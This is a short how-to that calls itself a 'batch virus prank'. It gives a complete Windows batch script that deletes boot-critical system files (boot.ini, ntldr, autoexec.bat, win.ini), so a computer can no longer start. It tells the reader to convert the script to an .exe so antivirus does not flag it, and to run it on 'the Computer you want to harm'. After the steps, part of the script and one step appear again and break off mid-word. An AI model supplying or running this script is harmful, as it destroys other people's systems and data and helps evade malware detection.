How to Shutdown a Computer Forever (Batch Virus Prank)

1) Go to: Start > Run... (Or press Windows+R )

2) Type notepad and Click OK

3) Copy the following text and paste it to Notepad:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

4) Save the file as :  Shutdown.bat
 
5) Convert the .Bat file to .Exe using Bat2Exe Converter
You may skip this step, but Anti-viruses will detect it as Malware.

6) Run the converted Exe file (or Bat file) in the Computer you want to harm.
7) Done! The computer will loses very important system files and won't restart again.

attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

4) Save the file as : Shutd